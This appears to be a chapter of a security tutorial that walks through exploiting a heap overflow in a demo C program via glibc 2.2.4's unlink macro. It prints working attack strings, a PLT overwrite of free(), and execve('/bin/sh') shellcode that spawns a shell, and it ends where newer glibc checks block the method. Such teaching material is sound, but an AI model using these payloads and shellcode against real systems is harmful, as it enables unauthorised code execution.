Next Previous Contents

11. Exploiting the heap

Sometimes the buffer that overflows is not a local buffer on the stack, but a buffer obtained from malloc() and freed with free(). Let us do a small demo.

Exploit the program heapbug.c:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char **argv) {
        char *p, *q;

        p = malloc(1024);
        q = malloc(1024);
        if (argc >= 2)
                strcpy(p, argv[1]);
        free(q);
        free(p);
        return 0;
}

There is an overflow here. Calling the program with a long argument provokes a crash:

% ./heapbug `perl -e 'print "A"x5000'`
Segmentation fault

We would like to spawn a shell from this buggy program.

11.1 Malloc

The routines malloc() and free() manage memory obtained via the sbrk() and mmap() system calls. Here a description of Doug Lea's malloc, a bit older than the version of malloc described below and used in this demo.

Memory is carved up into chunks. The first (4-byte) field of each chunk give its size, and since the size is guaranteed to be divisible by 8 the low order bits can be status bits.

A free chunk also ends with a size field, so that merging a chunk with the previous one (when both are free) is easy. A user chunk only has a size field at the beginning. Bit 0 of the status field is 0 when the preceding chunk exists and is free and has a size field at the end.

A free chunk also has two pointers belonging to the doubly linked list it is an element of. (Thus, chunks have size not less than 16 bytes.)

The implementation manages chunks using the struct

struct chunk {
        int prev_size;
        int size;
        struct chunk *fd;
        struct chunk *bk;
};

(where this struct straddles two chunks: the first four bytes belong to the previous chunk, the last twelve bytes belong to the present chunk). Thus, the prev_size field here is defined only when (size & 1) == 0.

Since the pointer returned by malloc() must be suitable for all purposes it is aligned on an 8-byte boundary. Thus, when the user asks for size n, the chunk size will be not less than the smallest multiple of eight above n+4.

Strategies for allocation and freeing are non-trivial. Thus, it is difficult to predict where areas will be allocated, and whether two subsequent malloc()'s will return adjacent areas. But in our tiny demo program, this happens to be the case on the current machine (with glibc 2.2.4).

11.2 Exploit free()

In the above example, the segfault occurs in strcpy() and is not exploitable. It happens because the copy accesses unmapped memory:

% ltrace ./heapbug `perl -e 'print "A"x2368'`
__libc_start_main(0x080484b0, 2, 0xbffff1c4, 0x08048324, 0x08048560 <unfinished ...>
__register_frame_info(0x08049598, 0x0804969c, 0xbffff168, 0x080483de, 0x08048324) = 0x40163da0
malloc(1024)                                      = 0x080496c0
malloc(1024)                                      = 0x08049ac8
strcpy(0x080496c0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"... <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

but with a shorter string (that still overflows the buffer) the segfault occurs in free(), and that one is exploitable.

% ltrace ./heapbug `perl -e 'print "A"x2367'`
__libc_start_main(0x080484b0, 2, 0xbffff1c4, 0x08048324, 0x08048560 <unfinished ...>
__register_frame_info(0x08049598, 0x0804969c, 0xbffff168, 0x080483de, 0x08048324) = 0x40163da0
malloc(1024)                                      = 0x080496c0
malloc(1024)                                      = 0x08049ac8
strcpy(0x080496c0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 0x080496c0
free(0x08049ac8)                                  = <void>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

Let us find where this happens.

% gdb ./heapbug
GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
...
(gdb) run `perl -e 'print "A"x2367'`
...
Program received signal SIGSEGV, Segmentation fault.
chunk_free (ar_ptr=0x40161620, p=0x8049ac0) at malloc.c:3180
(gdb) x/i $pc
0x400adc6e <chunk_free+46>:     mov    0x4(%edx),%esi

Comparing the assembly code with the source of free() in malloc.c around line 3180 in glibc-2.2.4, we see that the segfault occurs in

  sz = hd & ~PREV_INUSE;
  next = chunk_at_offset(p, sz);
  nextsz = chunksize(next);

that is, the size field is used to find the next chunk and since it was overwritten by "AAAA", next will be a bad address and getting chunksize(next) segfaults.

OK. So, when overwriting the size field, we must take care that the computed location of the next chunk lies in allocated memory. Since small positive numbers contain NUL bytes, it is easiest to use a small negative number.

Now the test

  if (next == top(ar_ptr))                         /* merge with top */

in malloc.c fails, and we reach the interesting code

  if (!(hd & PREV_INUSE))                    /* consolidate backward */
  {
    prevsz = p->prev_size;
    p = chunk_at_offset(p, -(long)prevsz);
    sz += prevsz;

    if (p->fd == last_remainder(ar_ptr))     /* keep as last_remainder */
      islr = 1;
    else
      unlink(p, bck, fwd);
  }

where unlink() is defined as

#define unlink(p, bck, fwd)                             \
{                                                       \
  bck = p->bk;                                          \
  fwd = p->fd;                                          \
  fwd->bk = bck;                                        \
  bck->fd = fwd;                                        \
}

That is, we check that the prev_size field is valid, then subtract that amount from the chunk pointer p to find the chunk preceding the one that is freed, and then unlink it from its linked list - presumably because these two adjacent chunks will be merged, and the result belongs in a different linked list (since the linked lists are per-size).

But we control p->prev_size, and by giving it a small negative value the computed place for the start of the preceding chunk will be inside the buffer. That is, we control the values of bck and fwd, and using the assignment

  fwd->bk = bck;

we can write an arbitrary value at an arbitrary place. Of course the value is not completely arbitrary: we cannot use NUL bytes. There is another restriction: the following assignment

  bck->fd = fwd;

will segfault, unless bck is a valid address. So, given two values A and B chosen by me, both acceptable addresses, free() will do *(A+12) = B and *(B+8) = A.

Let us try. Add an integer n to the source of this buggy program, and overwrite its value.

% cat bug1.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int n = 5;

int main(int argc, char **argv) {
        char *p, *q;

        p = malloc(1024);
        q = malloc(1024);
        if (argc >= 2)
                strcpy(p, argv[1]);
        free(q);
        printf("n = 0x%08x\n", n);
        free(p);
        return 0;
}
% cc -o bug1 bug1.c
% nm ./bug1 | grep -w n
080495f4 D n
% ./bug1 `perl -e 'print "A"x1024 . "\xfc\xff\xff\xff"x2 . "XXXX" . "\xe8\x95\x04\x08" . "\x80\xff\xff\xbf"'`
n = 0xbfffff80
Segmentation fault
%

Success! Watch carefully: p and q are 1032 (0x408) apart. The second 0xfffffffc overflows the size field of the buffer q with an even value (-4), so the prev_size field (also -4) is valid, and we subtract it from the pointer (q-8) to the struct chunk of q in order to get the pointer (q-4) to its predecessor. Now the assignments fwd->bk = bck; bck->fd = fwd; become *(A+12) = B; *(B+8) = A where A = 0x080495e8 is &n - 12 and B = 0xbfffff80 is some random address on the stack. Now *(A+12) = B does n = B, and that is what we see.

Very good. We can write into memory.

11.3 Overwrite a PLT entry

Our exercise was to exploit the original program heapbug, not to change the value of n in bug1. The call free(p) that follows the free(q) will crash because we corrupted the data structures, so it is better to avoid that second call. That is achieved by overwriting the PLT entry of free().

% objdump -d heapbug
...
Disassembly of section .plt:
...
 804838c:       ff 25 90 96 04 08       jmp    *0x8049690
...
Disassembly of section .text:
...
 8048510:       e8 77 fe ff ff          call   804838c <_init+0x68>
...

The C program does not call free() directly, since the address is unknown at translation time. The call is indirect via an entry in the program linking table that is filled by the dynamic loader. If we overwrite that entry with our favourite address, we will jump there instead.

The required address can be found more quickly by

% objdump -R heapbug | grep free
08049690 R_386_JUMP_SLOT   free

So, now the next attempt. Where shall we jump? Don't know. Maybe into the stack and crash - this is just to check that the setup works.

% gdb ./heapbug
...
(gdb) run `perl -e 'print "A"x1024 . "\xfc\xff\xff\xff"x2 . "XXXX" . "\x84\x96\x04\x08" . "\x70\xff\xff\xbf"'`

Program received signal SIGSEGV, Segmentation fault.
0xbfffff72 in ?? ()
(gdb)

Very good. When the second free() is called, we jump to an address of our own choosing.

11.4 Adapted shellcode

Of course we wanted to spawn a shell, and in the instruction pair *(A+12) = B; *(B+8) = A, we can choose A+12 to be the PLT entry of free(), and B the address of our shellcode on the stack. If we do that, then the second assignment in that pair will destroy bytes 8-11 of that shellcode. A simple way out is to prefix our favourite shellcode with a 12-byte header

eb 0a    jmp 1f
90       nop
90       nop
90       nop
90       nop
90       nop
90       nop
90       nop
90       nop
90       nop
90       nop
1f:

Let us try.

% SHELLCODE=`perl -e 'print "\xeb\x0a" . "\x90"x10 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`
% export SHELLCODE
% ./xxxxadr SHELLCODE      # getenv("SHELLCODE")
0xbffffe9c
% ./heapbug `perl -e 'print "A"x1024 . "\xfc\xff\xff\xff"x2 . "XXXX" . "\x84\x96\x04\x08" . "\x9c\xfe\xff\xbf"'`
sh-2.05$

Excellent.

This finishes the first demo: spawn a shell from heapbug.c on a machine with glibc-2.2.4. The details of these exploits tend to be strongly dependent on the glibc version, and more recent versions are more difficult to exploit because of added integrity checks.

11.5 glibc-2.3.3

Let us try the same on a different machine.

% objdump -R heapbug | grep free
080496b0 R_386_JUMP_SLOT   free
% ltrace ./heapbug `perl -e 'print "A"x1024 . "\xfc\xff\xff\xff"x2 . "XXXX" . "\xa4\x96\x04\x08" . "\x70\xff\xff\xbf"'`
__libc_start_main(0x0804841c, 2, 0xbffff134, 0x08048510, 0x080484a0 <unfinished ...>
malloc(1024)                                      = 0x0804a008
malloc(1024)                                      = 0x0804a410
strcpy(0x0804a008, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 0x0804a008
free(0x0804a410 <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

Hmm. We never reach the second free(). The first one crashes. Let us compare gdb data with the malloc source. Which glibc is this?

% ldd ./heapbug
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/tls/libc.so.6 (0x4003b000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
%  /lib/tls/libc.so.6
GNU C Library stable release version 2.3.3 (20040917), by Roland McGrath et al.
...

This seems to be glibc-2.3.3. However, it soon appears that it is not precisely that. For example, vanilla glibc-2.3.3 does not contain the symbol malloc_printerr seen here. What distribution do we have here?

% ls -d /etc/*rele*
/etc/lsb-release  /etc/lsb-release.d  /etc/SuSE-release
% cat /etc/SuSE-release
SuSE Linux 9.2 (i586)
VERSION = 9.2
%

And what version of glibc?

% rpm -qf /lib/tls/libc.so.6
glibc-2.3.3-118
%

OK. Retrieve glibc-2.3.3-118.src.rpm from a SuSE 9.2 mirror. It turns out to contain a snapshot glibc-2.3.3-20040916.tar.bz2. Now we have a source to compare with.

There are several changes. There is an additional status bit

#define NON_MAIN_ARENA 0x4
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)

forcing us to keep size divisible by 8, not 4. No problem. Next, there is the annoying check

    /* Little security check which won't hurt performance: the
       allocator never wrapps around at the end of the address space.
       Therefore we can exclude some size values which might appear
       here by accident or by "design" from some intruder.  */
    if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0))
      {
        malloc_printerr (check_action, "free(): invalid pointer", mem);
        return;
      }

It means that p + size cannot be before p. Consequently, size cannot be a small negative number. It cannot be a small positive number either, since that would involve NUL bytes. But we can work around this by letting p + size point into the stack. OK.

But reading a bit more in this source we are shocked to see

#define unlink(P, BK, FD) {                                            \
  FD = P->fd;                                                          \
  BK = P->bk;                                                          \
  if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                \
    malloc_printerr (check_action, "corrupted double-linked list", P); \
  else {                                                               \
    FD->bk = BK;                                                       \
    BK->fd = FD;                                                       \
  }                                                                    \
}

Aargh. Our exploit method fails here. New work is needed.


Next Previous Contents